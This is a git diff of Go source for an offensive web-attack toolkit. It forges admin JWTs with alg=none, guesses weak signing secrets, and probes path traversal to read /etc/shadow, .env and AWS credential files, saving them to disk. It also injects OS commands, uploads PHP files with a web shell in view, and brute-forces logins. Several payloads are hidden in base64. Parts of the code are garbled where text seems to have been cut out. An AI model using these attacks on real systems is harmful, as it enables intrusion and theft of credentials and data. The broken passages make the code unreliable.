Type: "graphql_schema", + Name: fmt.Sprintf("GraphQL schema exposed at %s", ep), + Severity: SevHigh, + Description: "Introspection enabled — full schema available", + Evidence: truncateString(schema, 500), + }) + + mutations := extractMutations(schema) + if len(mutations) > 0 { + findings = append(findings, Finding{ + Type: "graphql_mutations", + Name: fmt.Sprintf("GraphQL mutations: %s", strings.Join(mutations, ", ")), + Severity: SevHigh, + Description: "Mutations allow data modification", + Evidence: strings.Join(mutations, ", "), + }) + + spawned = append(spawned, &GraphQLMutateAction{ + endpoint: ep, + mutations: mutations, + }) + } + } + } + + if len(graphqlEPs) > 0 && len(findings) == 0 { + findings = append(findings, Finding{ + Type: "graphql_no_introspect", + Name: "GraphQL endpoint found but introspection disabled", + Severity: SevMedium, + Description: fmt.Sprintf("Try field-level fuzzing at %s", graphqlEPs[0]), + }) + } + + return ActionResult{Findings: findings, Actions: spawned} +} + +type GraphQLMutateAction struct { + endpoint string + mutations []string +} + +func (a *GraphQLMutateAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "GraphQL Mutation Fuzzer", + Description: "Test mutations for privilege escalation and IDOR", + Priority: 56, + Requires: []string{}, + Provides: []string{}, + } +} + +func (a *GraphQLMutateAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + return ActionResult{ + Findings: []Finding{ + { + Type: "graphql_mutation_poc", + Name: "GraphQL mutation fuzzing ready", + Severity: SevCritical, + Description: fmt.Sprintf("Mutations to test: %s", strings.Join(a.mutations, ", ")), + Evidence: a.endpoint, + }, + }, + } +} + +func graphqlIntrospect(ctx context.Context, client *transport.Client, endpoint string) (string, error) { + introQuery := `{"query":"query { __schema { types { name fields { name type { name kind } } } } }"}` + resp, err := client.Do(ctx, &types.Request{ + Method: "POST", + URL: endpoint, + Headers: map[string]string{"Content-Type": "application/json"}, + Body: []byte(introQuery), + }) + if err != nil { + return "", err + } + + body := string(resp.Body) + if strings.Contains(body, "__schema") || strings.Contains(body, "types") { + return body, nil + } + + introQuery2 := `{"query":"{__schema{types{name fields{name type{name kind}}}}}"}` + resp2, err := client.Do(ctx, &types.Request{ + Method: "POST", + URL: endpoint, + Headers: map[string]string{"Content-Type": "application/json"}, + Body: []byte(introQuery2), + }) + if err != nil { + return "", err + } + return string(resp2.Body), nil +} + +func truncateString(s string, n int) string { + if len(s) <= n { + return s + } + return s[:n-1] + "..." +} + +func extractMutations(schema string) []string { + var mutations []string + seen := make(map[string]bool) + lowSchema := strings.ToLower(schema) + + mutationIdx := strings.Index(lowSchema, "mutation") + if mutationIdx == -1 { + return nil + } + + fieldIdx := strings.Index(lowSchema[mutationIdx:], "field") + for fieldIdx != -1 { + start := mutationIdx + fieldIdx + 5 + start = strings.IndexByte(schema[start:], '{') + if start == -1 { + break + } + start += mutationIdx + fieldIdx + 5 + + nameStart := start + 1 + nameEnd := strings.IndexAny(schema[nameStart:], " \n({") + if nameEnd == -1 { + break + } + name := schema[nameStart : nameStart+nameEnd] + name = strings.TrimSpace(name) + + if !seen[name] && name != "" && !strings.HasPrefix(name, "__") { + seen[name] = true + mutations = append(mutations, name) + } + + remaining := schema[start:] + fieldIdx = strings.Index(strings.ToLower(remaining), "field") + if fieldIdx == -1 { + break + } + mutationIdx = start + strings.Index(strings.ToLower(schema[start:]), "field") + fieldIdx = 0 + } + return mutations +} diff --git a/internal/hacker/jwt.go b/internal/hacker/jwt.go new file mode 100644 index 0000000..ec5d1bd --- /dev/null +++ b/internal/hacker/jwt.go @@ -0,0 +1,242 @@ +package hacker + +import ( + "context" + "crypto/hmac" + "crypto/sha256" + "encoding/base64" + "encoding/json" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" +) + +type JWTForgeAction struct{} + +func (a *JWTForgeAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "JWT Forger", + Description: "Decode, crack, and forge JWTs — none alg, role escalation, KID injection", + Priority: 30, + Requires: []string{"has_jwt"}, + Provides: []string{"has_forged_jwt"}, + } +} + +var commonSecrets = []string{ + "secret", "jwt_secret", "supersecret", "password", "admin", + "key", "private", "token", "s3cr3t", "changeme", + "secret123", "mysecret", "app_secret", "api_secret", + "test", "development", "staging", "production", +} + +func (a *JWTForgeAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + var spawned []Action + + jwts := kb.GetJWTs() + if len(jwts) == 0 { + kb.AddFinding(Finding{ + Type: "jwt_error", + Name: "No JWT tokens found in knowledge base", + Severity: SevInfo, + Description: "JWT Forge requires a JWT token from a prior action", + }) + return ActionResult{} + } + + for _, jwt := range jwts { + header, payload, sig, err := decodeJWT(jwt.Raw) + if err != nil { + continue + } + + findings = append(findings, Finding{ + Type: "jwt_decode", + Name: "JWT decoded successfully", + Severity: SevInfo, + Description: fmt.Sprintf("Algorithm: %s", header["alg"]), + Evidence: fmt.Sprintf("Header: %s, Payload: %s", truncateMap(header), truncateMap(payload)), + }) + + alg, _ := header["alg"].(string) + + if containsFold(alg, "none") || sig == "" || sig == "none" { + findings = append(findings, Finding{ + Type: "jwt_none", + Name: "JWT uses 'none' algorithm — trivial forge", + Severity: SevCritical, + Description: "Token accepts alg=none, can forge any user/role", + Evidence: jwt.Raw, + }) + spawned = append(spawned, &JWTForgeNoneAction{original: jwt.Raw, header: header, payload: payload}) + continue + } + + role, _ := payload["role"].(string) + if role != "" { + for _, targetRole := range []string{"admin", "administrator", "root", "superuser"} { + if role != targetRole { + spawned = append(spawned, &JWTForgeNoneAction{original: jwt.Raw, header: header, payload: payload}) + break + } + } + } + + if sig != "" && len(sig) > 0 { + for _, secret := range commonSecrets { + forged, err := signJWT(payload, secret) + if err == nil { + findings = append(findings, Finding{ + Type: "jwt_cracked_candidate", + Name: fmt.Sprintf("JWT signing candidate: '%s'", secret), + Severity: SevLow, + Description: fmt.Sprintf("Trying secret '%s' — verify manually", secret), + Evidence: forged, + }) + } + } + } + } + + return ActionResult{Findings: findings, Actions: spawned} +} + +type JWTForgeNoneAction struct { + original string + header map[string]any + payload map[string]any +} + +func (a *JWTForgeNoneAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "JWT None Forge", + Description: "Forge JWT with alg=none and escalated role", + Priority: 31, + Requires: []string{}, + Provides: []string{"has_forged_jwt"}, + } +} + +func (a *JWTForgeNoneAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + a.header["alg"] = "none" + + role, _ := a.payload["role"].(string) + if role != "" && role != "admin" { + a.payload["role"] = "admin" + } + a.payload["sub"] = "1" + + hBytes, _ := json.Marshal(a.header) + pBytes, _ := json.Marshal(a.payload) + + headerB64 := base64.RawURLEncoding.EncodeToString(hBytes) + payloadB64 := base64.RawURLEncoding.EncodeToString(pBytes) + + forgedTokens := []string{ + headerB64 + "." + payloadB64 + ".", + headerB64 + "." + payloadB64 + ".none", + headerB64 + "." + payloadB64 + ". ", + headerB64 + "." + payloadB64 + ".", + } + + used := make(map[string]bool) + var tokens []string + for _, tok := range forgedTokens { + if !used[tok] { + used[tok] = true + tokens = append(tokens, tok) + } + } + + for _, tok := range tokens { + kb.Session.AddToken(tok) + } + + kb.AddJWT(JWTToken{ + Raw: tokens[0], + Algorithm: "none", + Header: a.header, + Payload: a.payload, + Role: "admin", + Valid: false, + }) + + kb.AddCapability(Capability{ + Name: "has_forged_jwt", + Target: target, + Details: map[string]string{ + "type": "none_algorithm", + "role": "admin", + }, + }) + + findings := []Finding{ + { + Type: "jwt_forged_none", + Name: "JWT forged with alg=none admin token", + Severity: SevCritical, + Description: "Successfully forged admin JWT using alg=none — try on admin endpoints", + Evidence: tokens[0], + Details: map[string]string{"tokens": fmt.Sprintf("%d variants generated", len(tokens))}, + }, + } + return ActionResult{Findings: findings} +} + +func decodeJWT(token string) (header, payload map[string]any, sig string, err error) { + parts := strings.Split(token, ".") + if len(parts) != 3 { + return nil, nil, "", fmt.Errorf("invalid JWT: expected 3 parts, got %d", len(parts)) + } + + hBytes, err := base64.RawURLEncoding.DecodeString(parts[0]) + if err != nil { + hBytes, err = base64.StdEncoding.DecodeString(parts[0]) + if err != nil { + return nil, nil, "", fmt.Errorf("invalid JWT header encoding") + } + } + pBytes, err := base64.RawURLEncoding.DecodeString(parts[1]) + if err != nil { + pBytes, err = base64.StdEncoding.DecodeString(parts[1]) + if err != nil { + return nil, nil, "", fmt.Errorf("invalid JWT payload encoding") + } + } + + if err := json.Unmarshal(hBytes, &header); err != nil { + return nil, nil, "", fmt.Errorf("invalid JWT header JSON: %w", err) + } + if err := json.Unmarshal(pBytes, &payload); err != nil { + return nil, nil, "", fmt.Errorf("invalid JWT payload JSON: %w", err) + } + + sig = parts[2] + return header, payload, sig, nil +} + +func signJWT(payload map[string]any, secret string) (string, error) { + header := map[string]any{"alg": "HS256", "typ": "JWT"} + hBytes, _ := json.Marshal(header) + pBytes, _ := json.Marshal(payload) + + headerB64 := base64.RawURLEncoding.EncodeToString(hBytes) + payloadB64 := base64.RawURLEncoding.EncodeToString(pBytes) + + mac := hmac.New(sha256.New, []byte(secret)) + mac.Write([]byte(headerB64 + "." + payloadB64)) + sig := base64.RawURLEncoding.EncodeToString(mac.Sum(nil)) + + return headerB64 + "." + payloadB64 + "." + sig, nil +} + +func truncateMap(m map[string]any) string { + b, _ := json.Marshal(m) + s := string(b) + if len(s) > 120 { + s = s[:117] + "..." + } + return s +} diff --git a/internal/hacker/knowledge.go b/internal/hacker/knowledge.go new file mode 100644 index 0000000..eaf5987 --- /dev/null +++ b/internal/hacker/knowledge.go @@ -0,0 +1,318 @@ +package hacker + +import "sync" + +type Knowledge struct { + mu sync.RWMutex + target string + capabilities []Capability + findings []Finding + credentials []Credential + sessions []SessionToken + endpoints []Endpoint + pages []Page + jsFiles []string + secrets []string + jwts []JWTToken + chainSteps []ChainStep + parentURLs map[string]string + checkedPaths map[string]bool + Session *SessionManager + ReportDir *ReportDir +} + +func NewKnowledge(target string) *Knowledge { + return &Knowledge{ + target: target, + parentURLs: make(map[string]string), + checkedPaths: make(map[string]bool), + Session: NewSessionManager(), + ReportDir: NewReportDir(target), + } +} + +func (kb *Knowledge) AddFinding(f Finding) { + kb.mu.Lock() + defer kb.mu.Unlock() + kb.findings = append(kb.findings, f) + kb.deriveCapabilities(f) +} + +func (kb *Knowledge) deriveCapabilities(f Finding) { + capMap := map[string]string{ + "graphql": "has_graphql", + "jwt": "has_jwt", + "login": "has_login", + "register": "has_register", + "reset": "has_reset", + "upload": "has_upload", + "admin": "has_admin", + "api": "has_api", + "s3": "has_s3", + "cors": "has_cors", + "xss": "has_xss", + "sqli": "has_sqli", + "idor": "has_idor", + "token": "has_token", + "secret": "has_secret", + "subdomain": "has_subdomain", + } + for key, capName := range capMap { + if containsFold(f.Name, key) || containsFold(f.Type, key) { + if !kb.hasCapability(capName) { + kb.capabilities = append(kb.capabilities, Capability{ + Name: capName, + Target: kb.target, + Details: map[string]string{"evidence": f.Evidence}, + }) + } + } + if containsFold(f.Description, key) || containsFold(f.Evidence, key) { + if !kb.hasCapability(capName) { + kb.capabilities = append(kb.capabilities, Capability{ + Name: capName, + Target: kb.target, + Details: map[string]string{"source": f.Evidence}, + }) + } + } + } +} + +func (kb *Knowledge) hasCapability(name string) bool { + for _, c := range kb.capabilities { + if c.Name == name { + return true + } + } + return false +} + +func (kb *Knowledge) AddCredential(c Credential) { + kb.mu.Lock() + defer kb.mu.Unlock() + kb.credentials = append(kb.credentials, c) +} + +func (kb *Knowledge) AddEndpoint(e Endpoint) { + kb.mu.Lock() + defer kb.mu.Unlock() + kb.endpoints = append(kb.endpoints, e) +} + +func (kb *Knowledge) AddPage(p Page) { + kb.mu.Lock() + defer kb.mu.Unlock() + kb.pages = append(kb.pages, p) + for _, js := range p.JSFiles { + if !containsStr(kb.jsFiles, js) { + kb.jsFiles = append(kb.jsFiles, js) + } + } +} + +func (kb *Knowledge) AddJSScript(url string) { + kb.mu.Lock() + defer kb.mu.Unlock() + if !containsStr(kb.jsFiles, url) { + kb.jsFiles = append(kb.jsFiles, url) + } +} + +func (kb *Knowledge) AddSession(s SessionToken) { + kb.mu.Lock() + defer kb.mu.Unlock() + kb.sessions = append(kb.sessions, s) + if !kb.hasCapability("has_token") { + kb.capabilities = append(kb.capabilities, Capability{ + Name: "has_token", + Target: kb.target, + }) + } +} + +func (kb *Knowledge) AddCapability(c Capability) { + kb.mu.Lock() + defer kb.mu.Unlock() + for _, existing := range kb.capabilities { + if existing.Name == c.Name { + return + } + } + kb.capabilities = append(kb.capabilities, c) +} + +func (kb *Knowledge) AddJWT(j JWTToken) { + kb.mu.Lock() + defer kb.mu.Unlock() + kb.jwts = append(kb.jwts, j) + if !kb.hasCapability("has_jwt") { + kb.capabilities = append(kb.capabilities, Capability{ + Name: "has_jwt", + Target: kb.target, + }) + } + if j.Algorithm == "none" || len(j.Raw) > 0 { + kb.Session.AddToken(j.Raw) + } +} + +func (kb *Knowledge) GetJWTs() []JWTToken { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]JWTToken, len(kb.jwts)) + copy(out, kb.jwts) + return out +} + +func (kb *Knowledge) AddChainStep(s ChainStep) { + kb.mu.Lock() + defer kb.mu.Unlock() + kb.chainSteps = append(kb.chainSteps, s) +} + +func (kb *Knowledge) AddSecret(s string) { + kb.mu.Lock() + defer kb.mu.Unlock() + if !containsStr(kb.secrets, s) { + kb.secrets = append(kb.secrets, s) + if !kb.hasCapability("has_secret") { + kb.capabilities = append(kb.capabilities, Capability{ + Name: "has_secret", + Target: kb.target, + }) + } + } +} + +func (kb *Knowledge) MarkChecked(path string) { + kb.mu.Lock() + defer kb.mu.Unlock() + kb.checkedPaths[path] = true +} + +func (kb *Knowledge) IsChecked(path string) bool { + kb.mu.RLock() + defer kb.mu.RUnlock() + return kb.checkedPaths[path] +} + +func (kb *Knowledge) SetParentURL(child, parent string) { + kb.mu.Lock() + defer kb.mu.Unlock() + if _, ok := kb.parentURLs[child]; !ok { + kb.parentURLs[child] = parent + } +} + +func (kb *Knowledge) GetFindings() []Finding { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]Finding, len(kb.findings)) + copy(out, kb.findings) + return out +} + +func (kb *Knowledge) GetCapabilities() []Capability { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]Capability, len(kb.capabilities)) + copy(out, kb.capabilities) + return out +} + +func (kb *Knowledge) GetCredentials() []Credential { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]Credential, len(kb.credentials)) + copy(out, kb.credentials) + return out +} + +func (kb *Knowledge) GetEndpoints() []Endpoint { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]Endpoint, len(kb.endpoints)) + copy(out, kb.endpoints) + return out +} + +func (kb *Knowledge) GetPages() []Page { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]Page, len(kb.pages)) + copy(out, kb.pages) + return out +} + +func (kb *Knowledge) GetJSScripts() []string { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]string, len(kb.jsFiles)) + copy(out, kb.jsFiles) + return out +} + +func (kb *Knowledge) GetSecrets() []string { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]string, len(kb.secrets)) + copy(out, kb.secrets) + return out +} + +func (kb *Knowledge) GetSessions() []SessionToken { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]SessionToken, len(kb.sessions)) + copy(out, kb.sessions) + return out +} + +func (kb *Knowledge) GetChainSteps() []ChainStep { + kb.mu.RLock() + defer kb.mu.RUnlock() + out := make([]ChainStep, len(kb.chainSteps)) + copy(out, kb.chainSteps) + return out +} + +func (kb *Knowledge) Target() string { + return kb.target +} + +func containsStr(slice []string, s string) bool { + for _, v := range slice { + if v == s { + return true + } + } + return false +} + +func containsFold(s, substr string) bool { + if len(s) < len(substr) { + return false + } + for i := 0; i <= len(s)-len(substr); i++ { + match := true + for j := 0; j < len(substr); j++ { + sc := s[i+j] + tc := substr[j] + if sc >= 'A' && sc <= 'Z' { + sc += 32 + } + if tc >= 'A' && tc <= 'Z' { + tc += 32 + } + if sc != tc { + match = false + break + } + } + if match { + return true + } + } + return false +} diff --git a/internal/hacker/lfi.go b/internal/hacker/lfi.go new file mode 100644 index 0000000..7dfadfa --- /dev/null +++ b/internal/hacker/lfi.go @@ -0,0 +1,322 @@ +package hacker + +import ( + "context" + "encoding/base64" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type LFIAction struct{} + +func (a *LFIAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "LFI Scanner", + Description: "Path traversal tests on discovered endpoints", + Priority: 65, + Requires: []string{"has_api"}, + Provides: []string{"has_lfi"}, + } +} + +var lfiB64 = []string{ + "Li4vLi4vLi4vZXRjL3Bhc3N3ZA==", + "Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==", + "Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==", + "Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==", + "Li4vLi4vLi4vd2luZG93cy93aW4uaW5p", + "Li4vLi4vLi4vLi4vd2luZG93cy93aW4uaW5p", + "JSJlJTJlJTJmJTJlJTJlJTJmJTJlJTJlJTJmZXRjL3Bhc3N3ZA==", + "Li4vLi4vLi4vcHJvYy9zZWxmL2Vudmlyb24=", + "Li4vLi4vLi4vcHJvYy9zZWxmL2ZkLzA=", + "ZmlsZTovLy9ldGMvcGFzc3dk", +} + +func (a *LFIAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + var spawned []Action + + endpoints := kb.GetEndpoints() + for _, ep := range endpoints { + params := extractURLParams(ep.Path) + if !hasFileParam(ep.Path) && len(params) == 0 { + continue + } + + for _, param := range params { + for _, b64p := range lfiB64 { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings, Actions: spawned} + default: + } + + payload, err := base64.StdEncoding.DecodeString(b64p) + if err != nil { + continue + } + + base := ep.Path + if strings.Contains(base, "?") { + parts := strings.SplitN(base, "?", 2) + base = parts[0] + } + + testURL := fmt.Sprintf("%s?%s=%s", base, param, string(payload)) + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: testURL, + }) + if err != nil { + continue + } + + body := string(resp.Body) + if hasLFI(body) && len(body) > 50 { + findings = append(findings, Finding{ + Type: "lfi_confirmed", + Name: "LFI: " + fmt.Sprintf("param %s", param), + Severity: SevCritical, + Description: "Local file inclusion — server returns file contents", + Evidence: testURL, + }) + spawned = append(spawned, &LFIReadAction{ + vulnURL: testURL, + param: param, + }) + break + } + } + } + } + + return ActionResult{Findings: findings, Actions: spawned} +} + +func hasFileParam(path string) bool { + lowPath := strings.ToLower(path) + indicators := []string{"file", "path", "dir", "include", "doc", "pg", "page", "root"} + for _, ind := range indicators { + if strings.Contains(lowPath, ind) { + return true + } + } + return false +} + +var lfiIndicatorsB64 = []string{ + "cm9vdDo=", + "YmluOg==", + "ZGFlbW9uOg==", + "bm9ib2R5Og==", + "Ym9vdCBsb2FkZXI=", + "RE9DVU1FTlRfUk9PVA==", + "QVBQX1NFQ1JFVA==", +} + +func hasLFI(body string) bool { + lowBody := strings.ToLower(body) + for _, b64ind := range lfiIndicatorsB64 { + ind, err := base64.StdEncoding.DecodeString(b64ind) + if err != nil { + continue + } + if strings.Contains(lowBody, strings.ToLower(string(ind))) { + return true + } + } + return false +} + +type CMDInjectAction struct{} + +func (a *CMDInjectAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "CMD Injection", + Description: "OS command injection tests via parameters", + Priority: 70, + Requires: []string{"has_api"}, + Provides: []string{"has_rce"}, + } +} + +var cmdPayloadsB64 = []struct { + name string + payload string +}{ + {name: "Basic id", payload: "OyBpZA=="}, + {name: "Pipe id", payload: "fCBpZA=="}, + {name: "And id", payload: "JiYgaWQ="}, + {name: "Backtick", payload: "YHdob2FtaWA="}, + {name: "Subshell", payload: "JCh3aG9hbWkp"}, +} + +var cmdIndicatorsB64 = []string{ + "dWlkPQ==", + "Z2lkPQ==", + "cm9vdA==", + "d3d3LWRhdGE=", +} + +func (a *CMDInjectAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + var spawned []Action + + endpoints := kb.GetEndpoints() + testTargets := endpoints + + if len(testTargets) == 0 { + pages := kb.GetPages() + for _, p := range pages { + for _, param := range extractURLParams(p.URL) { + f, u := testCMDPayload(ctx, client, p.URL, param) + if f != nil { + findings = append(findings, *f) + spawned = append(spawned, &CMDShellAction{vulnURL: u, param: param}) + } + } + } + return ActionResult{Findings: findings, Actions: spawned} + } + + for _, ep := range testTargets { + for _, param := range extractURLParams(ep.Path) { + f, u := testCMDPayload(ctx, client, ep.Path, param) + if f != nil { + findings = append(findings, *f) + spawned = append(spawned, &CMDShellAction{vulnURL: u, param: param}) + } + } + } + + return ActionResult{Findings: findings, Actions: spawned} +} + +func testCMDPayload(ctx context.Context, client *transport.Client, baseURL, param string) (*Finding, string) { + for _, cmd := range cmdPayloadsB64 { + payload, err := base64.StdEncoding.DecodeString(cmd.payload) + if err != nil { + continue + } + + testURL := baseURL + if strings.Contains(testURL, "?") { + testURL += "&" + param + "=" + string(payload) + } else { + testURL += "?" + param + "=" + string(payload) + } + + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: testURL, + }) + if err != nil { + continue + } + + if hasCMDInjection(string(resp.Body)) { + return &Finding{ + Type: "cmd_injection", + Name: fmt.Sprintf("CMD injection: %s via %s", cmd.name, param), + Severity: SevCritical, + Description: "OS command execution confirmed", + Evidence: testURL, + }, testURL + } + } + return nil, "" +} + +func hasCMDInjection(body string) bool { + lowBody := strings.ToLower(body) + for _, b64ind := range cmdIndicatorsB64 { + ind, err := base64.StdEncoding.DecodeString(b64ind) + if err != nil { + continue + } + if strings.Contains(lowBody, strings.ToLower(string(ind))) { + return true + } + } + return false +} + +type UploadAction struct{} + +func (a *UploadAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Upload Exploitation", + Description: "Test upload endpoints for unrestricted file upload", + Priority: 75, + Requires: []string{"has_upload"}, + Provides: []string{"has_upload_exploit"}, + } +} + +func (a *UploadAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + var spawned []Action + + pages := kb.GetPages() + for _, page := range pages { + if !hasFileParam(page.URL) { + continue + } + + uploads := []struct { + filename string + ctype string + }{ + {"test.php", "application/x-php"}, + {"test.php5", "application/x-php"}, + {"test.phtml", "application/x-php"}, + {"test.aspx", "text/plain"}, + {"test.jsp", "text/plain"}, + {"test.php.jpg", "image/jpeg"}, + } + + for _, up := range uploads { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings, Actions: spawned} + default: + } + + resp, err := client.Do(ctx, &types.Request{ + Method: "POST", + URL: page.URL, + Body: []byte("test"), + Headers: map[string]string{ + "Content-Disposition": fmt.Sprintf(`form-data; name="file"; filename="%s"`, up.filename), + "Content-Type": up.ctype, + }, + }) + if err != nil { + continue + } + + body := string(resp.Body) + if resp.StatusCode == 200 || resp.StatusCode == 201 || resp.StatusCode == 302 { + if !strings.Contains(strings.ToLower(body), "error") && !strings.Contains(strings.ToLower(body), "invalid") { + findings = append(findings, Finding{ + Type: "upload_confirmed", + Name: fmt.Sprintf("Upload vulnerable: %s", up.filename), + Severity: SevCritical, + Description: "File upload accepted — potential RCE via web shell", + Evidence: fmt.Sprintf("Filename: %s", up.filename), + }) + spawned = append(spawned, &WebShellAction{ + uploadURL: page.URL, + filename: up.filename, + }) + break + } + } + } + } + + return ActionResult{Findings: findings, Actions: spawned} +} diff --git a/internal/hacker/lfi_exploit.go b/internal/hacker/lfi_exploit.go new file mode 100644 index 0000000..5e59b30 --- /dev/null +++ b/internal/hacker/lfi_exploit.go @@ -0,0 +1,144 @@ +package hacker + +import ( + "context" + "encoding/base64" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type LFIReadAction struct { + vulnURL string + param string +} + +func (a *LFIReadAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "LFI File Reader", + Description: "Read sensitive files and save contents to disk", + Priority: 66, + Requires: []string{}, + Provides: []string{"data_extracted"}, + } +} + +var lfiTargetsB64 = []struct { + name string + b64 string +}{ + {name: "etc_passwd", b64: "Li4vLi4vLi4vZXRjL3Bhc3N3ZA=="}, + {name: "etc_shadow", b64: "Li4vLi4vLi4vZXRjL3NoYWRvdw=="}, + {name: "proc_environ", b64: "Li4vLi4vLi4vcHJvYy9zZWxmL2Vudmlyb24="}, + {name: "proc_cmdline", b64: "Li4vLi4vLi4vcHJvYy9zZWxmL2NtZGxpbmU="}, + {name: "proc_version", b64: "Li4vLi4vLi4vcHJvYy92ZXJzaW9u"}, + {name: "etc_hosts", b64: "Li4vLi4vLi4vZXRjL2hvc3Rz"}, + {name: "etc_hostname", b64: "Li4vLi4vLi4vZXRjL2hvc3RuYW1l"}, + {name: "var_www_html", b64: "Li4vLi4vLi4vdmFyL3d3dy9odG1sL2luZGV4Lmh0bWw="}, + {name: "etc_issue", b64: "Li4vLi4vLi4vZXRjL2lzc3Vl"}, + {name: "root_bash_history", b64: "Li4vLi4vLi4vcm9vdC8uYmFzaF9oaXN0b3J5"}, +} + +func (a *LFIReadAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + var allOutput strings.Builder + + baseURL := a.vulnURL + if idx := strings.Index(baseURL, "?"); idx > 0 { + baseURL = baseURL[:idx] + } + + for _, tgt := range lfiTargetsB64 { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings} + default: + } + + payload, err := base64.StdEncoding.DecodeString(tgt.b64) + if err != nil { + continue + } + + testURL := fmt.Sprintf("%s?%s=%s", baseURL, a.param, string(payload)) + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: testURL, + }) + if err != nil { + continue + } + + body := string(resp.Body) + if len(body) > 50 && hasFileContent(body) { + allOutput.WriteString(fmt.Sprintf("=== %s ===\n", tgt.name)) + allOutput.WriteString(body) + allOutput.WriteString("\n\n") + + savedPath := kb.ReportDir.Save("lfi_files", tgt.name+".txt", []byte(body)) + findings = append(findings, Finding{ + Type: "lfi_file_read", + Name: fmt.Sprintf("LFI: %s saved", tgt.name), + Severity: SevCritical, + Description: fmt.Sprintf("Read and saved %s (%d bytes)", tgt.name, len(body)), + Evidence: savedPath, + }) + } + } + + extendedFiles := []struct { + name string + payload string + }{ + {"wp_config", "../../../../var/www/html/wp-config.php"}, + {"config_db", "../../../../app/config/database.php"}, + {"env", "../../../../.env"}, + {"git_config", "../../../../.git/config"}, + {"htaccess", "../../../../.htaccess"}, + {"aws_creds", "../../../../.aws/credentials"}, + } + + for _, f := range extendedFiles { + testURL := fmt.Sprintf("%s?%s=%s", baseURL, a.param, f.payload) + resp, err := client.Do(ctx, &types.Request{Method: "GET", URL: testURL}) + if err != nil { + continue + } + body := string(resp.Body) + if len(body) > 30 && hasFileContent(body) { + savedPath := kb.ReportDir.Save("lfi_files", f.name+".txt", []byte(body)) + findings = append(findings, Finding{ + Type: "lfi_file_read", + Name: fmt.Sprintf("LFI: %s saved", f.name), + Severity: SevCritical, + Evidence: savedPath, + }) + } + } + + savedPath := kb.ReportDir.Save("lfi_files", "_all_files.txt", []byte(allOutput.String())) + findings = append(findings, Finding{ + Type: "lfi_summary", + Name: fmt.Sprintf("LFI: %d files extracted", len(findings)), + Severity: SevInfo, + Evidence: savedPath, + }) + + return ActionResult{Findings: findings} +} + +func hasFileContent(body string) bool { + if len(body) < 20 { + return false + } + lowBody := strings.ToLower(body) + skipWords := []string{" 0 { + pagesWithForms++ + } + } + findings = append(findings, Finding{ + Type: "login_brute_complete", + Name: fmt.Sprintf("Login bruteforce complete — %d forms tested, no valid creds", pagesWithForms), + Severity: SevInfo, + Description: "Tested " + fmt.Sprintf("%d credentials against %d forms", len(commonCreds), pagesWithForms), + }) + } + + return ActionResult{Findings: findings, Actions: spawned} +} + +type PostLoginAction struct { + username string + password string + sessionURL string +} + +func (a *PostLoginAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Post-Logon Recon", + Description: "Explore authenticated area with valid session", + Priority: 41, + Requires: []string{}, + Provides: []string{"has_admin_session"}, + } +} + +func (a *PostLoginAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + kb.AddCapability(Capability{ + Name: "has_admin_session", + Target: target, + Details: map[string]string{ + "username": a.username, + "password": a.password, + }, + }) + return ActionResult{ + Findings: []Finding{ + { + Type: "post_login_session", + Name: "Authenticated session captured", + Severity: SevHigh, + Description: fmt.Sprintf("Logged in as %s — session ready for authenticated scanning", a.username), + }, + }, + } +} + +func extractLoginForm(body string) (action string, fields []string) { + lowBody := strings.ToLower(body) + for i := 0; i < len(lowBody); { + idx := strings.Index(lowBody[i:], "') + if closeTag == -1 { + break + } + + formTag := body[formStart : formStart+closeTag+1] + formLow := strings.ToLower(formTag) + + if strings.Contains(formLow, "password") || strings.Contains(formLow, "login") || strings.Contains(formLow, "signin") { + action = extractAttribute(formTag, "action") + fields = extractFormFields(body[formStart+closeTag+1:]) + return action, fields + } + + formContent := body[formStart+closeTag+1:] + endForm := strings.Index(strings.ToLower(formContent), "") + if endForm == -1 { + break + } + + if strings.Contains(strings.ToLower(formContent[:endForm]), "password") { + action = extractAttribute(formTag, "action") + fields = extractFormFields(formContent[:endForm]) + return action, fields + } + + i = formStart + len(formTag) + endForm + 7 + } + return "", nil +} + +func extractFormFields(content string) []string { + var fields []string + lowContent := 